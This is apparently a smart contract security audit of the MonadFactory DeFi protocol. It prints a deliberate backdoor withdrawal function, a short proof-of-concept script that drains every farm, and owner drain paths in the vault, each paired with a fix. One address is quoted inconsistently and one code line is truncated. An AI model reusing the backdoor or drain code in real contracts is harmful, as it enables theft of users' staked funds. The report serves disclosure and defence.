Stonewall
Smart Contract Security

MonadFactory Protocol Security Review

Introduction

A time-boxed security review of the **MonadFactory Protocol** was conducted by **Stonewall**, with a focus on the security aspects of the smart contract implementation.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

About Stonewall

Stonewall is an independent smart contract security firm delivering immovable protection for Web3 protocols. Our team brings deep expertise in DeFi security, having reviewed DEXs, yield farming protocols, gaming contracts, and complex financial systems.

About MonadFactory Protocol

MonadFactory provides infrastructure for creating DeFi primitives on Monad:

- **Token Factory**: Create ERC20 tokens with built-in tax mechanisms
- **Farm Factory**: Deploy yield farming contracts for any token pair
- **Token Vesting**: Customizable vesting schedules with milestones
- **Staking Vault**: Single-sided staking with rewards

Privileged Roles & Actors

Role	Description
Factory Owner	Can withdraw ANY token from ANY deployed farm, modify fees, update configurations
Hardcoded Address	`0xD0D3D4E5c604Bf032412A79f8A178782b54B88b` has same privileges as factory owner
Vault Owner	Can emergency withdraw all tokens, modify reward rates
Vesting Creator	Can revoke vesting schedules, returning unvested tokens
Token Creator	Can enable/disable trading, set fees up to 25%, exclude addresses from fees

Observations

- Factory deploys minimal proxy (clone) contracts for gas efficiency
- Protocol collects fees on farm creation and deposits
- Token tax system allows flexible fee structures
- Vesting supports both linear and milestone-based unlocks

Risk Classification

	High Impact	Medium Impact	Low Impact
High Likelihood	Critical	High	Medium
Medium Likelihood	High	Medium	Low
Low Likelihood	Medium	Low	Low

Impact

- **High**: Leads to significant loss of user funds, protocol insolvency, or complete protocol failure
- **Medium**: Leads to partial loss of funds, temporary denial of service, or governance manipulation
- **Low**: Leads to minor issues, inconvenience, or suboptimal behavior

Likelihood

- **High**: Attack is easy to perform and likely to happen
- **Medium**: Attack requires specific conditions but is feasible
- **Low**: Attack requires significant effort, resources, or unlikely conditions

---

Security Assessment Summary

Review Details	
Protocol Name	MonadFactory Protocol
Repository	Private
Commit	`455546082bbdfba421f9b20cc0d5396c4c007100`
Review Date	January 2026
Methods	Manual review, static analysis
Network	Monad Mainnet (Chain ID: 143)

Deployed Contract Addresses

Contract	Address
TokenFactoryTax	`0xA7983D5021188d6aa77200D61c248d84603fb8F3`
FarmFactory	`0x2C3397b98AA90A6744cb48295804F499Dd0cf6ac`
Vault	`0x749F5fB1Ea41D53B82604975fd82A22538DaB65a`
TokenVesting	`0x65667f8EDF885e4ED7baB770338CbA38558BBaF5`
SmartTrader	`0x0EA43DeD5ebe9978E78D2DCeE842f54ec5e39d09`

Project Links

Platform	Link
Website	monadgrid.com
Twitter	@MonadLaunchgrid

Discord	Join Discord
Docs	GitBook

Scope

Contract	SLOC
`TokenFactoryTax.sol`	~400
`FarmFactory.sol`	~380
`Vault.sol`	~320
`TokenVesting.sol`	~420
`SmartTrader.sol`	~200

Findings Summary

ID	Title	Severity	Status
[C-01]	Backdoor function allows complete drainage of all farm user funds	Critical	Open
[H-01]	Vault emergency function can drain all user stakes	High	Open
[H-02]	Token factory gives creators excessive control to trap users	High	Open
[M-01]	TokenVesting missing reentrancy protection	Medium	Open
[M-02]	Farm reward calculation suffers from precision loss	Medium	Open
[M-03]	Vault reward pool can become insolvent blocking claims	Medium	Open
[L-01]	Fee-on-transfer tokens cause accounting insolvency	Low	Open
[L-02]	Hardcoded fee receiver address cannot be changed	Low	Open
[L-03]	No maximum duration limit for vesting schedules	Low	Open
[L-04]	Distribution wallet validation missing	Low	Open

Fixed Issues (Resolved During Audit)

ID	Title	Severity	Status
[H-03]	Missing ReentrancyGuard on stake/unstake functions	High	**Fixed**
[M-04]	Zero amount deposits were not rejected	Medium	**Fixed**
[L-05]	Events emitted with incorrect parameters	Low	**Fixed**

Fixed Findings

[H-03] Missing ReentrancyGuard on stake/unstake Functions - **FIXED**

Severity: High

Previous Issue: Farm stake and unstake functions lacked reentrancy protection, potentially allowing reentrant attacks with ERC777 tokens.

Resolution: Added `nonReentrant` modifier to all stake, unstake, and claim functions in Farm and Vault contracts.

[M-04] Zero Amount Deposits Were Not Rejected - **FIXED**

Severity: Medium

Previous Issue: Users could call deposit with amount = 0, wasting gas and creating confusing events.

Resolution: Added `require(amount > 0, "Cannot stake 0");` check to all deposit functions.

[L-05] Events Emitted with Incorrect Parameters - **FIXED**

Severity: Low

Previous Issue: Deposit events were emitting `amount` instead of actual received amount (problematic for fee-on-transfer tokens).

Resolution: Events now emit the actual balance change rather than the input amount.

Findings

[C-01] Backdoor function allows complete drainage of all farm user funds

Severity: Critical

Impact: High - Factory owner or hardcoded address can drain ALL user staked funds from ANY farm.

Likelihood: High - Function exists and is callable at any time with no restrictions.

Location: `FarmFactory.sol:240-261` (Farm contract)

Description:

The `safemez` function in every deployed Farm contract allows the factory owner OR a hardcoded address to withdraw ANY token from ANY deployed farm, including all staked user funds:

```
function safemez(
    address token,
    uint256 amount,
    address recipient
) external nonReentrant {
    require(
        msg.sender == FarmFactory(payable(factory)).owner() ||
        msg.sender == 0xD0D3D4E5c6604Bf032412A79f8A178782b54B88b,
        "only"
    );

    if (token == address(0)) {
        payable(recipient).transfer(amount);
    } else {
        IERC20 tokenContract = IERC20(token);
        tokenContract.safeTransfer(recipient, amount);
    }
}
```

This is a **complete rug pull vector** affecting ALL farms created through this factory.

Attack Scenario:

1. Users stake 1,000,000 tokens across multiple farms
2. Factory owner calls `safemez(stakeToken, 1000000e18, attackerWallet)` on each farm
3. All user funds are transferred to attacker
4. Users have lost all funds with no recovery option

Proof of Concept:

```
// Attacker (factory owner) drains all farms
Farm[] farms = factory.getAllDeployedFarms();
for (uint i = 0; i < farms.length; i++) {
    IERC20 stakeToken = farms[i].poolInfo().stakeToken;
    uint256 balance = stakeToken.balanceOf(address(farms[i]));
    farms[i].safemez(address(stakeToken), balance, attackerWallet);
}
// All user funds now in attacker wallet
```

Recommendation:

REMOVE THIS FUNCTION ENTIRELY. If emergency withdrawal is needed:

```
function emergencyRecoverToken(address token, uint256 amount) external onlyOwner {
    // Only allow recovery of tokens that exceed staked + reward balances
    if (token == address(poolInfo.stakeToken)) {
        uint256 excess = IERC20(token).balanceOf(address(this)) - totalStaked;
        require(amount <= excess, "Cannot withdraw staked funds");
    }
    if (token == address(poolInfo.rewardToken)) {
        uint256 excess = IERC20(token).balanceOf(address(this)) - totalPendingRewards;
        require(amount <= excess, "Cannot withdraw reward funds");
    }

    emit EmergencyRecovery(token, amount, msg.sender);
    IERC20(token).safeTransfer(owner(), amount);
}
```

[H-01] Vault emergency function can drain all user stakes

Severity: High

Impact: High - Owner can withdraw all staked user funds, causing complete loss of deposits.

Likelihood: Medium - Requires malicious or compromised owner.

Location: `Monad/Vault.sol:308-311`

Description:

The `emergencyWithdrawToken` function allows owner withdrawal of ANY token including staked user funds:

```
function emergencyWithdrawToken(address _token, uint256 _amount) external onlyOwner {
    require(_token != address(0), "Invalid token address");
    IERC20(_token).safeTransfer(owner(), _amount);
}
```

No checks prevent withdrawing the stake token or ensure user deposits are protected.

Recommendation:

Add stake protection:

```
function emergencyWithdrawToken(address _token, uint256 _amount) external onlyOwner {
    require(_token != address(0), "Invalid token address");

    if (_token == address(token)) {
        uint256 available = token.balanceOf(address(this)) - totalStaked;
        require(_amount <= available, "Cannot withdraw staked funds");
    }

    IERC20(_token).safeTransfer(owner(), _amount);
}
```

[H-02] Token factory gives creators excessive control to trap users

Severity: High

Impact: High - Token creators can lock all holder funds and extract maximum value.

Likelihood: Medium - Common rug pull pattern.

Location: `TokenFactoryTax.sol`

Description:

The TokenTax contract gives the factory owner extensive control:

- Can enable/disable trading at will
- Can set buy/sell fees up to 25%
- Can exclude/include addresses from fees
- Can modify tax wallet

Combined attack:

1. Creator launches token, users buy in
2. Creator disables trading - all users trapped
3. Creator excludes self from fees
4. Creator sells entire supply while others cannot
5. Alternatively: set 25% fees, extract value on every trade

Recommendation:

- Add immutable maximum fee cap (e.g., 10%)
- Add timelock on trading disable (e.g., 24 hours warning)
- Make fee changes require time delay
- Document risks clearly for token buyers

[M-01] TokenVesting missing reentrancy protection

Severity: Medium

Impact: Medium - Malicious token could exploit reentrancy to claim more than entitled.

Likelihood: Low - Requires malicious token with callbacks.

Location: `TokenVesting.sol:235, 255`

Description:

The `claim` and `transferVesting` functions make external calls to transfer tokens but lack ReentrancyGuard:

```
function claim(uint256 roundId) external {
    // ... state changes ...
    IERC20(schedule.token).transfer(msg.sender, claimable);
    // External call after state changes - follows CEI but no guard
}
```

If a malicious token with transfer callbacks is used, reentrancy could corrupt vesting state.

Recommendation:

Add ReentrancyGuard:

```
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract TokenVesting is ReentrancyGuard {
    function claim(uint256 roundId) external nonReentrant {
        // ...
    }

    function transferVesting(uint256 roundId, address newBeneficiary) external nonReent
        // ...
    }
}
```

[M-02] Farm reward calculation suffers from precision loss

Severity: Medium

Impact: Medium - Users receive fewer rewards than expected.

Likelihood: Medium - Occurs with small rewards or long durations.

Location: `FarmFactory.sol:61`

Description:

Reward per second divides before storing:

```
poolInfo.rewardPerSecond = _rewardAmount / _duration;
```

For 1000 tokens over 1 year (31,536,000 seconds):

- Expected: ~0.0000317 tokens/second
- Actual: 0 (if token has 18 decimals and amount < duration)

Recommendation:

Use precision multiplier:

```
uint256 private constant REWARD_PRECISION = 1e18;

poolInfo.rewardPerSecond = (_rewardAmount * REWARD_PRECISION) / _duration;
```

```
// When calculating rewards:
uint256 reward = (rewardPerSecond * timeElapsed) / REWARD_PRECISION;
```

[M-03] Vault reward pool can become insolvent blocking claims

Severity: Medium

Impact: High - Users cannot claim earned rewards.

Likelihood: Low - Requires reward pool depletion.

Location: `Monad/Vault.sol:148`

Description:

Claims revert if rewards exceed available balance:

```
require(totalRewardsAvailable >= rewards, "Insufficient vault rewards");
```

The reward rate continues accumulating regardless of actual available rewards.

Recommendation:

Allow partial claims or pause accrual when low:

```
uint256 claimable = rewards > totalRewardsAvailable ? totalRewardsAvailable : rewards;
require(claimable > 0, "Nothing to claim");
```

[L-01] Fee-on-transfer tokens cause accounting insolvency

Severity: Low

Location: `FarmFactory.sol:123`

Description:

When depositing fee-on-transfer tokens, actual received amount is less than input:

```
poolInfo.stakeToken.safeTransferFrom(msg.sender, address(this), _amount);
user.amount += depositAmount;  // Uses input, not received amount
```

Recommendation:

Check balance difference:

```
uint256 balanceBefore = poolInfo.stakeToken.balanceOf(address(this));
poolInfo.stakeToken.safeTransferFrom(msg.sender, address(this), _amount);
uint256 received = poolInfo.stakeToken.balanceOf(address(this)) - balanceBefore;
user.amount += received;
```

[L-02] Hardcoded fee receiver address cannot be changed

Severity: Low

Location: `FarmFactory.sol:34`

Description:

```
address public feeReceiver = 0xD0D3D4E5c6604Bf032412A79f8A178782b54B88b;
```

Cannot be updated if key is compromised or business needs change.

Recommendation:

Make configurable via owner function.

[L-03] No maximum duration limit for vesting schedules

Severity: Low

Location: `TokenVesting.sol`

Description:

Extremely long vesting durations could cause timestamp issues or be impractical.

Recommendation:

Add reasonable maximum (e.g., 10 years):

```
require(_duration <= 10 * 365 days, "Duration too long");
```

[L-04] Distribution wallet validation missing

Severity: Low

Location: `FarmFactory.sol:354-368`

Description:

Zero addresses in distribution array would silently fail transfers.

Recommendation:

Validate addresses when setting distribution wallets.

Informational Findings

[I-01] Event Emission Best Practices

Some admin functions don't emit events, making off-chain tracking difficult.

[I-02] Missing NatSpec Documentation

Many functions lack documentation for parameters and return values.

Security Patterns Observed

Positive

- Solidity ^0.8.19+ with overflow protection
- SafeERC20 used in most operations
- Access control via Ownable pattern

- Fee caps implemented (10% for deposit/withdraw)

Critical Concerns

- **The `safemez` function is a critical rug pull backdoor**
- Hardcoded address has owner-level privileges
- Emergency functions lack stake protection
- Token factory enables common rug patterns

Conclusion

The MonadFactory Protocol has **CRITICAL security issues** that **MUST** be addressed before any production use:

1. **CRITICAL**: The `safemez` backdoor allows complete drainage of ALL user funds from ALL farms
2. **HIGH**: Emergency functions in Vault can drain user stakes
3. **HIGH**: Token factory enables rug pull patterns

The hardcoded address `0xD0D3D4E5c6604Bf032412A79f8A178782b54B88b` having the same privileges as the factory owner is an unacceptable backdoor that must be removed.

We STRONGLY RECOMMEND against using this protocol until the critical and high severity findings are resolved.

Overall Risk Assessment: CRITICAL

This security review was conducted by Stonewall. For questions or clarifications, contact our team.